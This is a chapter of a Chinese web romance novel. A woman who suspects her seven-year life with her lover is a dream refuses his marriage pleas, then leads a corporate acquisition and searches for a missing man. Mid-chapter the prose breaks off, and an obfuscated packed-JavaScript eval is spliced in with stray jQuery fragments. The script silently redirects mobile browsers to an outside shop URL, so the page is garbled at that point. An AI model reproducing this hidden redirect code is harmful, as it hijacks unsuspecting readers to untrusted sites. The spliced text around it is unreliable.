沈念坐在沙发上,抬头就能看见站在厨房里的江肆越。
他还穿着上次见面的米白色衬衣,搭着条深棕色的宽松垂感西裤。
一条腰带勒出劲瘦的腰身,显得他身材比例超好,宽肩窄腰,自带温柔气质。
他围着粉色碎花围裙,手里捧着托盘,听见声音,稍稍侧过身,眉眼弯弯笑着看她。
沈念颔首示意了下,目光落在他手上的桂花布丁上。
小巧精致,瞧着剔透又软糯。
七年了,江肆越还是一点变化都没有,自己的模样已经变了。
江肆越却什么都没有发现一般,依然跟她生活在一起。
沈念前几年每次问江肆越你到底是真是假,都会得到“是真的”这个答案。
真真假假,她好像也有点分不清了。
江肆越走过来,把托盘放在面前的茶几上,捧起了她的脸。
“怎么了?今天怎么闷闷不乐的?”
沈念眼神闪烁了下,她别开头,拿起了桌上的布丁。
“今天怎么想到要做布丁?”
江肆越搂着她的腰,下巴轻轻搭在她的肩头上,还是那样喜欢腻歪。
“你上次不是说,最近都要加班,想吃桂花布丁还没有买到吗?”
“我就想着给你做了,等你回来,就可以吃了。”
说着,男人轻轻捏了捏她的鼻尖,沈念笑了笑,收敛了眼底的情绪,轻轻咬了一口布丁。
软糯、又带着点果冻质感,入口那股浓郁的桂花清香在唇齿间绽放。
好吃不腻。
沈念最近被并购案气到的心情都被抚平了。
江肆越歪着脑袋看她,紧张兮兮的,好似生怕她会说不好吃。
“好吃。”
沈念竖起大拇指夸赞着,江肆越这才绽放笑容。
她盯着江肆越看,细腻的肌肤,脸蛋上的胶原蛋白饱满,眼睛都亮晶晶的。
莫名的,她涌上一股悲伤。
等江肆越回来,他会不会认不出自己?
愣神间,江肆越抬起手,指尖轻轻擦过她的唇角,将布丁的碎屑擦掉。
“想什么呢?”
说着,他握着她拿着布丁的手,随后低头,就这样咬了一口她吃过的布丁。
唇瓣擦过指尖,柔软温凉,她指尖轻颤。
“桌上还有。”
沈念无奈开口,江肆越倒像是吃到什么美味般,闭上眼乐呵。
“桌上的哪有你手里的好吃?”
看他跟个毛头小子似的,沈念笑了笑,指尖捏了捏他的耳尖。
江肆越握住她的手,神色变得正经起来,沈念顿时明了他想说什么,率先起身。
“我去洗个澡。”
刚站起来,她还没走出去,腰就被江肆越搂住了。
宽厚的大手环着她的腰,想用力却又不敢,只能揪着她的衣角,指尖微微泛白。
男人的脸埋在她身后,微微颤抖。
沈念没有动,只是垂眸,看着自己腰侧上的手。
她抬起手,想触碰男人的手,想去安慰。
“你又这样。”
男人的声音又闷又轻,仿佛压抑着自己的情绪。
沈念放下手,叹了口气,还是跟之前一样,如实说:
“我还不想结婚。”
“为什么?”江肆越问。
他问了已经不止一次了,沈念沉默了,以前的理由已经说服不了这个男人了。
她自己也不知道怎么说。
难道要让她跟江肆越说,这个世界是假的,这只是自己的一场梦?
大概江肆越只会觉得自己疯了。
可这里的一切都太真实了,真实到,她自己都分不清了。
她的心理咨询老师告诉她,这只是她压力太大,构建的一个世界。
七年时间,江肆越什么都没有变,他也从来不过问自己的事。
她都快要相信这是一场梦了,可他告诉自己,在一起已经七年了,想要名分。
真真假假……到底是真,还是假。
沈念闭上眼,感受到腰间不断收紧的力道,还有自己喉间的酸涩。
“肆越,我们为什么非得要结婚呢?现在不是很好吗?”
沈念平静陈述,话刚说完,江肆越就打断了她的话。
“不好,一点都不好!”
“念念,没有婚姻关系,我不是独属于你的,你也可以随时抽身离开。”
“我想你可以签我的手术单,我想你可以继承我的财产,我不是要孩子,我只是想要你。”
“你为什么不懂呢?”
这些话,这些年,沈念已经听了上百遍了。
江肆越还在控诉。
“你每次都说,你忙,让我再等等,你现在重心在工作上,你想处理好现在的事情,你想……”
“念念,你想这么多,到底想不想要我?”
男人的泪水滚落,沈念感受到腰侧传来的湿润,瞳孔轻颤,垂在身侧的手攥紧。
“我没有不要你。”她解释了一句。
“那你为什么不愿意?每次我尝试跟你聊这个话题,你都会跑。”
“……”
沈念叹了口气,动了动,想转过身来安慰他,却被江肆越的大手扣住,不让她动。
“你别想再用那些花里胡哨的话哄我,我不会被你骗了。”
她没有再动,抬起头,看这个只有在梦里才能看见的小家。
两人还是住在学校附近,这个小家相较于刚住进来的冷清,现在已经充斥着两人的气息。
桌上的情侣杯,沙发上的抱枕公仔,屋里的各种一起做的摆件……
可这都不过是自己的幻想,现实里,她还找不到江肆越。
她苦笑了一下:“江肆越,别闹了。”
“闹?在你眼里,我正常诉求就是闹吗?”
江肆越抬起头,腰间的手却没有要松开的意思。
“我不是这个意思。”
沈念脑子一团糟,“我不想我一回来就说这些,我们就跟之前那样过日子不好吗?”
江肆越怔住了,搂在她腰上的手松了些:“你什么意思?”
他把人转过来,仰头看着她,喉结不安地上下滚了滚。
沈念垂眸,只见男人眼眶泛红,里头藏着委屈痛苦,还有不可置信,如同一只要被自己丢弃的小兽一般。
“那你什么意思?我嘴上说说,你还真不要我了?”
说着,江肆越微微眯起眼,眼睫颤动,仿佛只要她说出不好的来,他就会委屈掉眼泪。
瞧着把下巴垫在自己腹部的江肆越,沈念拧着的眉骤然松了。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17948554|204091||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
七年了,她是变了,可江肆越还是个大学生。
她无奈,伸手把他脑袋搂入怀里,慢慢顺毛。
江肆越鼻尖蹭了蹭她腹部的软肉,按在她身后的手揪着她的衣角不松开。
他眸光暗淡,泛着淡淡的苦涩,似乎这个结局是已经预料到的了。
他又蹭了蹭,想要把那点来自心底的不安扫去。
他只是想要抓住自己的爱人多一点,多一点她存在的记忆。
倏地,泪水再次盈润眼眶,他闭上眼,嚅嗫着:“我才不会难过,我继续等你就是了。”
“嗯?”沈念还在思索着公司的事情,只听见他嘀嘀咕咕的,却没有听清。
江肆越摇了摇头,抱得更紧了。
-
第二天醒来,沈念换上一整套棕色的西装。
去公司前,小元宝还是跟以往一样跟她问好。
“妈妈,小元宝今天也会好好吃饭,等妈妈回来。”
沈念应了一声,看着鱼缸里胖乎乎,却游得缓慢的小元宝。
它圆形的嘴巴一张一合,就那样看着她离开。
公司,会议室。
一张长方形长桌,两旁坐满了人,只为等首位的人入座。
门突然打开,沈念从外头稳步走进来,姿态飒爽又带着上位者的压迫。
原本还窸窸窣窣聊天的与会人员,顿时安静了下来,冲着她打招呼。
沈念只颔首示意,坐在了首位,看向对面的主持董事。
“开始吧。”
“……收购恒泰实业。一是渠道互补。
他的渠道在华南,我们的渠道在华东。
合并后全国铺开,等于花一笔钱,买了半个全国网络……”
等主持董事讲完,所有人都看向了坐在首位的沈念。
沈念合上手里的文件,双手放在桌上交叠,声音平稳而有力。
“议程都看了。我不重复。”
“一句话,这家公司,我要了。表决吧。”
股东会上,暗流涌动,各怀心思,但沈念手里的决策权够多。
虽有波折,但还是通过了收购提案。
散会后,沈念从会议室出来,直奔自己的办公室。
她刚坐下,放在桌上的手机便震动起来。
秘书给她倒了一杯咖啡,便关门离开了,沈念这才起身接通了电话。
“查到了,黎盛衍改名换姓,现在在M国的一家生物制药公司……”
沈念听着,连忙追问:“是哪家公司?”
“还在查,对方藏得太深了,一旦有点风吹草动就会藏起来。”
“那有没有江肆越的消息?”
“这个,还没有。”
“好。那先顺着这个方向好好查查黎盛衍。钱不是问题。”
挂断电话,沈念神情复杂。
她站在落地窗前,眺望着城市最繁华地段的景色,感慨万分。
七年了,整整七年,终于让她找到了黎盛衍的踪迹。
是不是离找到江肆越不远了?
“咚咚咚”,门口传来三声敲门声。
沈念眨了眨眼,收敛了情绪:“进。”
门被轻轻推开,一个脑袋探了进来。
“姐姐,听说你开完会了,我就来找你啦!”
是温小晚。